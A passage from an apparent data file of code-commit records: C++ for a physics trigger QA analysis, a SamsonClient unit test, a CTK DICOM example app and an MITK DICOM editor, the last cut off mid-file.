snprintf(key,55,\"h4x4CluSM%d\",trelid[0]);\n\t FillHistogram(key,trelid[2]-1,trelid[3]-1);\n\t}\t\n\tcontinue;\n }\n \n }\n } \/\/while(trgESD->Next())\n \n FillHistogram(\"hNtr\",ntr); \/\/ number of selected triggers per event\n \n for(Int_t sm=1; sm<4; sm++) {\n snprintf(key,55,\"hNtrSM%d\",sm);\n if(inPHOS[sm-1]) FillHistogram(key,inPHOS[sm-1]); \n }\n \n \/\/ Post output data.\n PostData(1, fOutputContainer);\n \n}\n\n\/\/_____________________________________________________________________________\nvoid AliAnalysisTaskPHOSTriggerQA::FillHistogram(const char * key,Double_t x)const{\n \/\/FillHistogram\n TH1I * tmpI = dynamic_cast<TH1I*>(fOutputContainer->FindObject(key)) ;\n if(tmpI){\n tmpI->Fill(x) ;\n return ;\n }\n TH1F * tmpF = dynamic_cast<TH1F*>(fOutputContainer->FindObject(key)) ;\n if(tmpF){\n tmpF->Fill(x) ;\n return ;\n }\n TH1D * tmpD = dynamic_cast<TH1D*>(fOutputContainer->FindObject(key)) ;\n if(tmpD){\n tmpD->Fill(x) ;\n return ;\n }\n AliInfo(Form(\"can not find histogram <%s> \",key)) ;\n}\n\/\/_____________________________________________________________________________\nvoid AliAnalysisTaskPHOSTriggerQA::FillHistogram(const char * key,Double_t x,Double_t y)const{\n \/\/FillHistogram\n TObject * tmp = fOutputContainer->FindObject(key) ;\n if(!tmp){\n AliInfo(Form(\"can not find histogram <%s> \",key)) ;\n return ;\n }\n if(tmp->IsA() == TClass::GetClass(\"TH1F\")){\n ((TH1F*)tmp)->Fill(x,y) ;\n return ;\n }\n if(tmp->IsA() == TClass::GetClass(\"TH2F\")){\n ((TH2F*)tmp)->Fill(x,y) ;\n return ;\n }\n AliError(Form(\"Calling FillHistogram with 2 parameters for histo <%s> of type %s\",key,tmp->IsA()->GetName())) ;\n}\n\n\/\/_____________________________________________________________________________\nvoid AliAnalysisTaskPHOSTriggerQA::MaxEnergyCellPos(AliESDCaloCells *cells, AliESDCaloCluster* clu, Int_t& maxId)\n{ \n Double_t eMax = -111;\n \n for (Int_t iDig=0; iDig< clu->GetNCells(); iDig++) {\n Int_t cellAbsId = clu->GetCellAbsId(iDig);\n Double_t eCell = cells->GetCellAmplitude(cellAbsId)*clu->GetCellAmplitudeFraction(iDig);\n if(eCell>eMax) { \n eMax = eCell; \n maxId = cellAbsId;\n }\n }\n \n}\n\n\/\/_____________________________________________________________________________\nBool_t AliAnalysisTaskPHOSTriggerQA::Matched(Int_t *trig_relid, Int_t *cluster_relid)\n{\n \/\/Returns kTRUE if cluster position coincides with 4x4 position.\n\n if( trig_relid[0] != cluster_relid[0] ) return kFALSE; \/\/ different modules!\n if( TMath::Abs(trig_relid[2]-cluster_relid[2])>3 ) return kFALSE; \/\/ X-distance too large! \n if( TMath::Abs(trig_relid[3]-cluster_relid[3])>3 ) return kFALSE; \/\/ Z-distance too large!\n\n return kTRUE;\n}\n\n\/\/_______________________________________________________________________________\nInt_t AliAnalysisTaskPHOSTriggerQA::GetTRUNum(Int_t cellX, Int_t cellZ)\n{\n \/\/Return TRU region number for given cell.\n \/\/cellX: [0-63], cellZ: [0-55]\n \n Int_t iTRU=-111;\n\n \/\/RCU0: TRU 1,2\n if(0<=cellX&&cellX<16) { \n\n if(0<=cellZ&&cellZ<28) iTRU=2;\n else iTRU=1;\n }\n\n \/\/RCU1: TRU 3,4\n if(16<=cellX&&cellX<32) { \n \n if(0<=cellZ&&cellZ<28) iTRU=4;\n else iTRU=3;\n }\n\n \/\/RCU2: TRU 5,6\n if(32<=cellX&&cellX<48) { \n \n if(0<=cellZ&&cellZ<28) iTRU=6;\n else iTRU=5;\n }\n \n \/\/RCU3: TRU 7,8\n if(48<=cellX&&cellX<64) { \n \n if(0<=cellZ&&cellZ<28) iTRU=8;\n else iTRU=7;\n }\n \n return iTRU;\n}\n<|endoftext|>"} {"text":"<commit_before>\n#include \"gtest\/gtest.h\"\n\n#include \"au\/ThreadManager.h\"\n\n#include \"engine\/MemoryManager.h\"\n#include \"engine\/MemoryRequest.h\"\n\n#include \"xmlparser\/xmlParser.h\"\n\n#include \"samson\/client\/SamsonClient.h\"\n\n#include \"unitTest\/common_engine_test.h\"\n\n#include \"samson\/common\/ports.h\" \/\/ for SAMSON_WORKER_PORT\n\nTEST(samson_client, test_1 )\n{\n \/\/ SamsonClient to play with..\n samson::SamsonClient* samson_client = init_samson_client_test();\n\n \/\/ Connect to samsonWorker\n au::ErrorManager error; \n samson_client->initConnection( &error , \"localhost\" , SAMSON_WORKER_PORT , \"anonymous\" , \"anonymous\" );\n\n EXPECT_EQ( error.isActivated() , false) << \"Error connecting samsonClient to samsonWorker\";\n\n \/\/ Close samson client test\n close_samson_client_test( samson_client );\n\n} \n\nTEST(samson_client, DISABLED_test_2 )\n{\n\n \/\/ SamsonClient to play with..\n samson::SamsonClient* samson_client = init_samson_client_test();\n\n \/\/ Connect to samsonWorker\n au::ErrorManager error;\n samson_client->initConnection( &error , \"localhost\" , SAMSON_WORKER_PORT , \"anonymous\" , \"anonymous\" );\n\n ASSERT_TRUE(samson_client->connection_ready()) << \"Connection not ready\";\n\n \/\/ Close samson client test\n close_samson_client_test( samson_client );\n}\n<commit_msg>Test for SamsonClient. One test worked, let's try with the second one<commit_after>\n#include \"gtest\/gtest.h\"\n\n#include \"au\/ThreadManager.h\"\n\n#include \"engine\/MemoryManager.h\"\n#include \"engine\/MemoryRequest.h\"\n\n#include \"xmlparser\/xmlParser.h\"\n\n#include \"samson\/client\/SamsonClient.h\"\n\n#include \"unitTest\/common_engine_test.h\"\n\n#include \"samson\/common\/ports.h\" \/\/ for SAMSON_WORKER_PORT\n\nTEST(samson_client, test_1 )\n{\n \/\/ SamsonClient to play with..\n samson::SamsonClient* samson_client = init_samson_client_test();\n\n \/\/ Connect to samsonWorker\n au::ErrorManager error; \n samson_client->initConnection( &error , \"localhost\" , SAMSON_WORKER_PORT , \"anonymous\" , \"anonymous\" );\n\n EXPECT_EQ( error.isActivated() , false) << \"Error connecting samsonClient to samsonWorker\";\n\n \/\/ Close samson client test\n close_samson_client_test( samson_client );\n\n} \n\nTEST(samson_client, test_2 )\n{\n\n \/\/ SamsonClient to play with..\n samson::SamsonClient* samson_client = init_samson_client_test();\n\n \/\/ Connect to samsonWorker\n au::ErrorManager error;\n samson_client->initConnection( &error , \"localhost\" , SAMSON_WORKER_PORT , \"anonymous\" , \"anonymous\" );\n\n ASSERT_TRUE(samson_client->connection_ready()) << \"Connection not ready\";\n\n \/\/ Close samson client test\n close_samson_client_test( samson_client );\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=============================================================================\n\n Library: CTK\n\n Copyright (c) German Cancer Research Center,\n Division of Medical and Biological Informatics\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n=============================================================================*\/\n\n\/\/ Qt includes\n#include <QtPlugin>\n#include <QRect>\n#include <QDebug>\n#include <QPushButton>\n#include <QApplication>\n#include <QLabel>\n\n\/\/ CTK includes\n#include \"ctkDICOMImage.h\"\n#include \"ctkExampleDicomAppLogic_p.h\"\n#include \"ctkExampleDicomAppPlugin_p.h\"\n\n\/\/ DCMTK includes\n#include <dcmimage.h>\n\n\/\/----------------------------------------------------------------------------\nctkExampleDicomAppLogic::ctkExampleDicomAppLogic()\n : HostTracker(ctkExampleDicomAppPlugin::getPluginContext()), Button(0)\n{\n this->HostTracker.open();\n\n connect(this, SIGNAL(stateChanged(int)), this, SLOT(changeState(int)), Qt::QueuedConnection);\n emit stateChanged(ctkDicomAppHosting::IDLE);\n}\n\n\/\/----------------------------------------------------------------------------\nctkExampleDicomAppLogic::~ctkExampleDicomAppLogic()\n{\n ctkPluginContext* context = ctkExampleDicomAppPlugin::getPluginContext();\n QList <QSharedPointer<ctkPlugin> > plugins = context->getPlugins();\n for (int i = 0; i < plugins.size(); ++i)\n {\n qDebug() << plugins.at(i)->getSymbolicName ();\n }\n}\n\n\/\/----------------------------------------------------------------------------\nctkDicomAppHosting::State ctkExampleDicomAppLogic::getState()\n{\n return ctkDicomAppHosting::IDLE;\n}\n\n\/\/----------------------------------------------------------------------------\nbool ctkExampleDicomAppLogic::setState(ctkDicomAppHosting::State newState)\n{\n qDebug() << \"setState called\";\n emit stateChanged(newState);\n return true;\n}\n\n\/\/----------------------------------------------------------------------------\nbool ctkExampleDicomAppLogic::bringToFront(const QRect& \/*requestedScreenArea*\/)\n{\n return false;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid ctkExampleDicomAppLogic::do_something()\n{\n this->Button = new QPushButton(\"Button from App\");\n connect(this->Button, SIGNAL(clicked()), this, SLOT(buttonClicked()));\n try\n {\n QRect preferred(50,50,100,100);\n qDebug() << \" Asking:getAvailableScreen\";\n QRect rect = getHostInterface()->getAvailableScreen(preferred);\n qDebug() << \" got sth:\" << rect.top();\n this->Button->move(rect.topLeft());\n this->Button->resize(rect.size());\n }\n catch (const std::runtime_error& e)\n {\n qCritical() << e.what();\n return;\n }\n this->Button->show();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid ctkExampleDicomAppLogic::changeState(int anewstate)\n{\n ctkDicomAppHosting::State newstate = static_cast<ctkDicomAppHosting::State>(anewstate);\n\n if (newstate == ctkDicomAppHosting::INPROGRESS)\n {\n do_something();\n }\n\n try\n {\n getHostInterface()->notifyStateChanged(newstate);\n }\n catch (const std::runtime_error& e)\n {\n qCritical() << e.what();\n return;\n }\n\n if (newstate == ctkDicomAppHosting::CANCELED)\n {\n qDebug() << \" Received changeState(CANCELED) ... now releasing all resources and afterwards changing to state IDLE.\";\n qDebug() << \" Changing to state IDLE.\";\n try\n {\n getHostInterface()->notifyStateChanged(ctkDicomAppHosting::IDLE);\n }\n catch (const std::runtime_error& e)\n {\n qCritical() << e.what();\n return;\n }\n }\n\n if (newstate == ctkDicomAppHosting::EXIT)\n {\n qDebug() << \" Received changeState(EXIT) ... exiting.\";\n this->getHostInterface()->notifyStateChanged(ctkDicomAppHosting::EXIT);\n qApp->exit(0);\n }\n}\n\n\/\/----------------------------------------------------------------------------\nbool ctkExampleDicomAppLogic::notifyDataAvailable(ctkDicomAppHosting::AvailableData data, bool lastData)\n{\n Q_UNUSED(lastData)\n QString s;\n if(this->Button == 0)\n {\n qCritical() << \"Button is null!\";\n return false;\n }\n s = \"Received notifyDataAvailable with patients.count()= \" + QString().setNum(data.patients.count());\n if(data.patients.count()>0)\n {\n s=s+\" name:\"+data.patients.begin()->name+\" studies.count(): \"+QString().setNum(data.patients.begin()->studies.count());\n if(data.patients.begin()->studies.count()>0)\n {\n s=s+\" series.count():\" + QString().setNum(data.patients.begin()->studies.begin()->series.count());\n if(data.patients.begin()->studies.begin()->series.count()>0)\n {\n s=s+\" uid:\" + data.patients.begin()->studies.begin()->series.begin()->seriesUID;\n\/\/ QUuid uuid(\"93097dc1-caf9-43a3-a814-51a57f8d861d\");\/\/data.patients.begin()->studies.begin()->series.begin()->seriesUID);\n uuid = data.patients.begin()->studies.begin()->series.begin()->objectDescriptors.begin()->descriptorUUID;\n s=s+\" uuid:\"+uuid.toString();\n }\n }\n }\n this->Button->setText(s);\n return false;\n}\n\n\/\/----------------------------------------------------------------------------\nQList<ctkDicomAppHosting::ObjectLocator> ctkExampleDicomAppLogic::getData(\n QList<QUuid> objectUUIDs,\n QList<QString> acceptableTransferSyntaxUIDs,\n bool includeBulkData)\n{\n Q_UNUSED(objectUUIDs)\n Q_UNUSED(acceptableTransferSyntaxUIDs)\n Q_UNUSED(includeBulkData)\n return QList<ctkDicomAppHosting::ObjectLocator>();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid ctkExampleDicomAppLogic::releaseData(QList<QUuid> objectUUIDs)\n{\n Q_UNUSED(objectUUIDs)\n}\n\nctkDicomHostInterface* ctkExampleDicomAppLogic::getHostInterface() const\n{\n ctkDicomHostInterface* host = this->HostTracker.getService();\n if (!host) throw std::runtime_error(\"DICOM Host Interface not available\");\n return host;\n}\n\nvoid ctkExampleDicomAppLogic::buttonClicked()\n{\n QList<QUuid> uuidlist;\n uuidlist.append(uuid);\n QString transfersyntax(\"1.2.840.10008.1.2.1\");\n QList<QString> transfersyntaxlist;\n transfersyntaxlist.append(transfersyntax);\n QList<ctkDicomAppHosting::ObjectLocator> locators;\n locators = getHostInterface()->getData(uuidlist, transfersyntaxlist, false);\n qDebug() << \"got locators! \" << QString().setNum(locators.count());\n\n QString s;\n s=s+\" loc.count:\"+QString().setNum(locators.count());\n if(locators.count()>0)\n {\n s=s+\" URI: \"+locators.begin()->URI;\n qDebug() << \"URI: \" << locators.begin()->URI;\n QString filename = locators.begin()->URI;\n if(filename.startsWith(\"file:\/\",Qt::CaseInsensitive))\n filename=filename.remove(0,6);\n qDebug()<<filename;\n DicomImage dcmtkImage(filename.toLatin1().data());\n ctkDICOMImage ctkImage(&dcmtkImage);\n\n QLabel* qtImage = new QLabel;\n qtImage->setPixmap(ctkImage.getPixmap(0));\n qtImage->show();\n }\n this->Button->setText(s);\n}\n<commit_msg>Comply with changed interface of ctkDICOMImage<commit_after>\/*=============================================================================\n\n Library: CTK\n\n Copyright (c) German Cancer Research Center,\n Division of Medical and Biological Informatics\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n=============================================================================*\/\n\n\/\/ Qt includes\n#include <QtPlugin>\n#include <QRect>\n#include <QDebug>\n#include <QPushButton>\n#include <QApplication>\n#include <QLabel>\n\n\/\/ CTK includes\n#include \"ctkDICOMImage.h\"\n#include \"ctkExampleDicomAppLogic_p.h\"\n#include \"ctkExampleDicomAppPlugin_p.h\"\n\n\/\/ DCMTK includes\n#include <dcmimage.h>\n\n\/\/----------------------------------------------------------------------------\nctkExampleDicomAppLogic::ctkExampleDicomAppLogic()\n : HostTracker(ctkExampleDicomAppPlugin::getPluginContext()), Button(0)\n{\n this->HostTracker.open();\n\n connect(this, SIGNAL(stateChanged(int)), this, SLOT(changeState(int)), Qt::QueuedConnection);\n emit stateChanged(ctkDicomAppHosting::IDLE);\n}\n\n\/\/----------------------------------------------------------------------------\nctkExampleDicomAppLogic::~ctkExampleDicomAppLogic()\n{\n ctkPluginContext* context = ctkExampleDicomAppPlugin::getPluginContext();\n QList <QSharedPointer<ctkPlugin> > plugins = context->getPlugins();\n for (int i = 0; i < plugins.size(); ++i)\n {\n qDebug() << plugins.at(i)->getSymbolicName ();\n }\n}\n\n\/\/----------------------------------------------------------------------------\nctkDicomAppHosting::State ctkExampleDicomAppLogic::getState()\n{\n return ctkDicomAppHosting::IDLE;\n}\n\n\/\/----------------------------------------------------------------------------\nbool ctkExampleDicomAppLogic::setState(ctkDicomAppHosting::State newState)\n{\n qDebug() << \"setState called\";\n emit stateChanged(newState);\n return true;\n}\n\n\/\/----------------------------------------------------------------------------\nbool ctkExampleDicomAppLogic::bringToFront(const QRect& \/*requestedScreenArea*\/)\n{\n return false;\n}\n\n\/\/----------------------------------------------------------------------------\nvoid ctkExampleDicomAppLogic::do_something()\n{\n this->Button = new QPushButton(\"Button from App\");\n connect(this->Button, SIGNAL(clicked()), this, SLOT(buttonClicked()));\n try\n {\n QRect preferred(50,50,100,100);\n qDebug() << \" Asking:getAvailableScreen\";\n QRect rect = getHostInterface()->getAvailableScreen(preferred);\n qDebug() << \" got sth:\" << rect.top();\n this->Button->move(rect.topLeft());\n this->Button->resize(rect.size());\n }\n catch (const std::runtime_error& e)\n {\n qCritical() << e.what();\n return;\n }\n this->Button->show();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid ctkExampleDicomAppLogic::changeState(int anewstate)\n{\n ctkDicomAppHosting::State newstate = static_cast<ctkDicomAppHosting::State>(anewstate);\n\n if (newstate == ctkDicomAppHosting::INPROGRESS)\n {\n do_something();\n }\n\n try\n {\n getHostInterface()->notifyStateChanged(newstate);\n }\n catch (const std::runtime_error& e)\n {\n qCritical() << e.what();\n return;\n }\n\n if (newstate == ctkDicomAppHosting::CANCELED)\n {\n qDebug() << \" Received changeState(CANCELED) ... now releasing all resources and afterwards changing to state IDLE.\";\n qDebug() << \" Changing to state IDLE.\";\n try\n {\n getHostInterface()->notifyStateChanged(ctkDicomAppHosting::IDLE);\n }\n catch (const std::runtime_error& e)\n {\n qCritical() << e.what();\n return;\n }\n }\n\n if (newstate == ctkDicomAppHosting::EXIT)\n {\n qDebug() << \" Received changeState(EXIT) ... exiting.\";\n this->getHostInterface()->notifyStateChanged(ctkDicomAppHosting::EXIT);\n qApp->exit(0);\n }\n}\n\n\/\/----------------------------------------------------------------------------\nbool ctkExampleDicomAppLogic::notifyDataAvailable(ctkDicomAppHosting::AvailableData data, bool lastData)\n{\n Q_UNUSED(lastData)\n QString s;\n if(this->Button == 0)\n {\n qCritical() << \"Button is null!\";\n return false;\n }\n s = \"Received notifyDataAvailable with patients.count()= \" + QString().setNum(data.patients.count());\n if(data.patients.count()>0)\n {\n s=s+\" name:\"+data.patients.begin()->name+\" studies.count(): \"+QString().setNum(data.patients.begin()->studies.count());\n if(data.patients.begin()->studies.count()>0)\n {\n s=s+\" series.count():\" + QString().setNum(data.patients.begin()->studies.begin()->series.count());\n if(data.patients.begin()->studies.begin()->series.count()>0)\n {\n s=s+\" uid:\" + data.patients.begin()->studies.begin()->series.begin()->seriesUID;\n\/\/ QUuid uuid(\"93097dc1-caf9-43a3-a814-51a57f8d861d\");\/\/data.patients.begin()->studies.begin()->series.begin()->seriesUID);\n uuid = data.patients.begin()->studies.begin()->series.begin()->objectDescriptors.begin()->descriptorUUID;\n s=s+\" uuid:\"+uuid.toString();\n }\n }\n }\n this->Button->setText(s);\n return false;\n}\n\n\/\/----------------------------------------------------------------------------\nQList<ctkDicomAppHosting::ObjectLocator> ctkExampleDicomAppLogic::getData(\n QList<QUuid> objectUUIDs,\n QList<QString> acceptableTransferSyntaxUIDs,\n bool includeBulkData)\n{\n Q_UNUSED(objectUUIDs)\n Q_UNUSED(acceptableTransferSyntaxUIDs)\n Q_UNUSED(includeBulkData)\n return QList<ctkDicomAppHosting::ObjectLocator>();\n}\n\n\/\/----------------------------------------------------------------------------\nvoid ctkExampleDicomAppLogic::releaseData(QList<QUuid> objectUUIDs)\n{\n Q_UNUSED(objectUUIDs)\n}\n\nctkDicomHostInterface* ctkExampleDicomAppLogic::getHostInterface() const\n{\n ctkDicomHostInterface* host = this->HostTracker.getService();\n if (!host) throw std::runtime_error(\"DICOM Host Interface not available\");\n return host;\n}\n\nvoid ctkExampleDicomAppLogic::buttonClicked()\n{\n QList<QUuid> uuidlist;\n uuidlist.append(uuid);\n QString transfersyntax(\"1.2.840.10008.1.2.1\");\n QList<QString> transfersyntaxlist;\n transfersyntaxlist.append(transfersyntax);\n QList<ctkDicomAppHosting::ObjectLocator> locators;\n locators = getHostInterface()->getData(uuidlist, transfersyntaxlist, false);\n qDebug() << \"got locators! \" << QString().setNum(locators.count());\n\n QString s;\n s=s+\" loc.count:\"+QString().setNum(locators.count());\n if(locators.count()>0)\n {\n s=s+\" URI: \"+locators.begin()->URI;\n qDebug() << \"URI: \" << locators.begin()->URI;\n QString filename = locators.begin()->URI;\n if(filename.startsWith(\"file:\/\",Qt::CaseInsensitive))\n filename=filename.remove(0,6);\n qDebug()<<filename;\n DicomImage dcmtkImage(filename.toLatin1().data());\n ctkDICOMImage ctkImage(&dcmtkImage);\n\n QLabel* qtImage = new QLabel;\n QPixmap pixmap = QPixmap::fromImage(ctkImage.getImage(0),Qt::AvoidDither);\n if (pixmap.isNull())\n {\n qCritical() << \"Failed to convert QImage to QPixmap\" ;\n }\n else\n {\n qtImage->setPixmap(pixmap);\n qtImage->show();\n }\n }\n this->Button->setText(s);\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\nProgram: Medical Imaging & Interaction Toolkit\nLanguage: C++\nDate: $Date$\nVersion: $Revision$\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\n\/\/ Blueberry\n#include <berryISelectionService.h>\n#include <berryIWorkbenchWindow.h>\n#include <berryUIException.h>\n#include <berryIWorkbenchPage.h>\n#include <berryIPreferencesService.h>\n#include <berryIPartListener.h>\n#include <mitkGlobalInteraction.h>\n#include <mitkDataStorageEditorInput.h>\n#include \"berryFileEditorInput.h\"\n\n\/\/ Qmitk\n#include \"QmitkDicomEditor.h\"\n#include \"mitkPluginActivator.h\"\n#include <mitkDicomSeriesReader.h>\n\n\/\/#include \"mitkProgressBar.h\"\n\n\/\/ Qt\n#include <QCheckBox>\n#include <QMessageBox>\n#include <QWidget>\n\n#include <QtSql>\n#include <QSqlDatabase>\n#include <QtCore\/QVariant>\n#include <QtGui\/QAction>\n#include <QtGui\/QApplication>\n#include <QtGui\/QButtonGroup>\n#include <QtGui\/QGridLayout>\n#include <QtGui\/QHeaderView>\n#include <QtGui\/QPushButton>\n#include <QtGui\/QTextEdit>\n#include <QtGui\/QWidget>\n\n\/\/CTK\n#include <ctkDICOMModel.h>\n#include <ctkDICOMAppWidget.h>\n#include <ctkDICOMQueryWidget.h>\n#include <ctkFileDialog.h>\n#include <ctkDICOMQueryRetrieveWidget.h>\n\n\nconst std::string QmitkDicomEditor::EDITOR_ID = \"org.mitk.editors.dicomeditor\";\n\n\nQmitkDicomEditor::QmitkDicomEditor()\n: m_Thread(new QThread())\n, m_DicomDirectoryListener(new QmitkDicomDirectoryListener())\n, m_ListenerDirectory(new QString())\n, m_DatabaseDirectory(new QString())\n, m_PluginDirectory(new QString())\n{\n}\n\nQmitkDicomEditor::~QmitkDicomEditor()\n{\n m_Thread->terminate();\n delete m_Handler;\n delete m_Publisher;\n delete m_StoreSCPLauncher;\n delete m_Thread;\n delete m_DicomDirectoryListener;\n delete m_ListenerDirectory;\n delete m_DatabaseDirectory;\n delete m_PluginDirectory;\n}\n\nvoid QmitkDicomEditor::CreateQtPartControl(QWidget *parent )\n{ \n m_Controls.setupUi( parent );\n TestHandler();\n\n SetPluginDirectory();\n SetDatabaseDirectory(\"DatabaseDirectory\");\n SetListenerDirectory(\"ListenerDirectory\");\n StartDicomDirectoryListener();\n\n m_Controls.m_ctkDICOMQueryRetrieveWidget->useProgressDialog(false);\n\n connect(m_Controls.externalDataWidget,SIGNAL(SignalAddDicomData(const QString&)),m_Controls.internalDataWidget,SLOT(StartDicomImport(const QString&)));\n connect(m_Controls.externalDataWidget,SIGNAL(SignalAddDicomData(const QStringList&)),m_Controls.internalDataWidget,SLOT(StartDicomImport(const QStringList&)));\n connect(m_Controls.externalDataWidget,SIGNAL(SignalDicomToDataManager(const QStringList&)),this,SLOT(OnViewButtonAddToDataManager(const QStringList&)));\n connect(m_Controls.externalDataWidget,SIGNAL(SignalChangePage(int)), this, SLOT(OnChangePage(int)));\n\n connect(m_Controls.internalDataWidget,SIGNAL(FinishedImport(const QString&)),this,SLOT(OnDicomImportFinished(const QString&)));\n connect(m_Controls.internalDataWidget,SIGNAL(FinishedImport(const QStringList&)),this,SLOT(OnDicomImportFinished(const QStringList&)));\n connect(m_Controls.internalDataWidget,SIGNAL(SignalDicomToDataManager(const QStringList&)),this,SLOT(OnViewButtonAddToDataManager(const QStringList&)));\n\n connect(m_Controls.CDButton, SIGNAL(clicked()), m_Controls.externalDataWidget, SLOT(OnFolderCDImport()));\n connect(m_Controls.FolderButton, SIGNAL(clicked()), m_Controls.externalDataWidget, SLOT(OnFolderCDImport()));\n connect(m_Controls.QueryRetrieveButton, SIGNAL(clicked()), this, SLOT(OnQueryRetrieve()));\n connect(m_Controls.LocalStorageButton, SIGNAL(clicked()), this, SLOT(OnLocalStorage()));\n\n \/\/connect(m_Controls.radioButton,SIGNAL(clicked()),this,SLOT(StartStopStoreSCP()));\n}\n\nvoid QmitkDicomEditor::Init(berry::IEditorSite::Pointer site, berry::IEditorInput::Pointer input)\n{\n this->SetSite(site);\n this->SetInput(input);\n}\n\nvoid QmitkDicomEditor::SetFocus()\n{\n}\n\nberry::IPartListener::Events::Types QmitkDicomEditor::GetPartEventTypes() const\n{\n return Events::CLOSED | Events::HIDDEN | Events::VISIBLE;\n}\n\nvoid QmitkDicomEditor::OnQueryRetrieve()\n{\n OnChangePage(2);\n StartStopStoreSCP();\n}\n\nvoid QmitkDicomEditor::OnLocalStorage()\n{\n OnChangePage(0);\n}\n\nvoid QmitkDicomEditor::OnChangePage(int page)\n{\n try{\n m_Controls.stackedWidget->setCurrentIndex(page);\n }catch(std::exception e){\n MITK_ERROR <<\"error: \"<< e.what();\n return;\n }\n}\n\nvoid QmitkDicomEditor::OnDicomImportFinished(const QString& path)\n{\n}\n\nvoid QmitkDicomEditor::OnDicomImportFinished(const QStringList& path)\n{\n}\n\nvoid QmitkDicomEditor::StartDicomDirectoryListener()\n{ \n if(!m_Thread->isRunning())\n {\n m_DicomDirectoryListener->SetDicomListenerDirectory(*m_ListenerDirectory);\n connect(m_DicomDirectoryListener,SIGNAL(SignalAddDicomData(const QStringList&)),m_Controls.internalDataWidget,SLOT(StartDicomImport(const QStringList&)),Qt::DirectConnection);\n connect(m_Controls.internalDataWidget,SIGNAL(FinishedImport(const QStringList&)),m_DicomDirectoryListener,SLOT(OnDicomImportFinished(const QStringList&)),Qt::DirectConnection);\n m_DicomDirectoryListener->moveToThread(m_Thread);\n m_Thread->start();\n }\n}\n\n\/\/TODO Remove\nvoid QmitkDicomEditor::TestHandler()\n{\n m_Handler = new DicomEventHandler();\n m_Handler->SubscribeSlots();\n}\n\nvoid QmitkDicomEditor::OnViewButtonAddToDataManager(const QStringList& eventProperties)\n{\n ctkDictionary properties;\n properties[\"PatientName\"] = eventProperties.at(0);\n properties[\"StudyUID\"] = eventProperties.at(1);\n properties[\"StudyName\"] = eventProperties.at(2);\n properties[\"SeriesUID\"] = eventProperties.at(3);\n properties[\"SeriesName\"] = eventProperties.at(4);\n properties[\"Path\"] = eventProperties.at(5);\n\n m_Publisher = new QmitkDicomDataEventPublisher();\n m_Publisher->PublishSignals(mitk::PluginActivator::getContext());\n\n m_Publisher->AddSeriesToDataManagerEvent(properties);\n}\n\n\nvoid QmitkDicomEditor::StartStoreSCP()\n{\n QString storagePort = m_Controls.m_ctkDICOMQueryRetrieveWidget->getServerParameters()[\"StoragePort\"].toString();\n QString storageAET = m_Controls.m_ctkDICOMQueryRetrieveWidget->getServerParameters()[\"StorageAETitle\"].toString();\n builder.AddPort(storagePort)->AddAETitle(storageAET)->AddTransferSyntax()->AddOtherNetworkOptions()->AddMode()->AddOutputDirectory(*m_ListenerDirectory);\n m_StoreSCPLauncher = new QmitkStoreSCPLauncher(&builder);\n m_StoreSCPLauncher->StartStoreSCP();\n m_Controls.radioButton->setChecked(true);\n m_Controls.radioButton->setText(storageAET+QString(\" \")+storagePort);\n\n}\n\n\nvoid QmitkDicomEditor::StopStoreSCP()\n{\n delete m_StoreSCPLauncher;\n m_Controls.radioButton->setChecked(false);\n m_Controls.radioButton->setText(QString(\"Storage service provider is not running!\"));\n}\n\nvoid QmitkDicomEditor::StartStopStoreSCP()\n{\n QString storagePort = m_Controls.m_ctkDICOMQueryRetrieveWidget->getServerParameters()[\"StoragePort\"].toString();\n QString storageAET = m_Controls.m_ctkDICOMQueryRetrieveWidget->getServerParameters()[\"StorageAETitle\"].toString();\n\n if(!((builder.GetAETitle()->compare(storageAET,Qt::CaseSensitive)==0)&&\n (builder.GetPort()->compare(storagePort,Qt::CaseSensitive)==0)))\n {\n if(m_Controls.radioButton->isChecked())\n {\n StopStoreSCP();\n StartStoreSCP();\n }else{\n StartStoreSCP();\n }\n } \n}\n\nvoid QmitkDicomEditor::SetPluginDirectory()\n{\n mitk::PluginActivator::getContext()->getDataFile(*m_PluginDirectory);\n m_PluginDirectory->append(\"\/\");\n}\n\nvoid QmitkDicomEditor::SetDatabaseDirectory(const QString& databaseDirectory)\n{\n m_DatabaseDirectory->clear();\n m_DatabaseDirectory->append(m_PluginDirectory);\n m_DatabaseDirectory->append(databaseDirectory);\n m_Controls.internalDataWidget->SetDatabaseDirectory(*m_DatabaseDirectory);\n}\n\nvoid QmitkDicomEditor::SetListenerDirectory(const QString& listenerDirectory)\n{\n m_ListenerDirectory->clear();\n m_ListenerDirectory->append(m_PluginDirectory);\n m_ListenerDirectory->append(listenerDirectory);\n}<commit_msg>fixed memory leak<commit_after>\/*=========================================================================\n\nProgram: Medical Imaging & Interaction Toolkit\nLanguage: C++\nDate: $Date$\nVersion: $Revision$\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE. See the above copyright notices for more 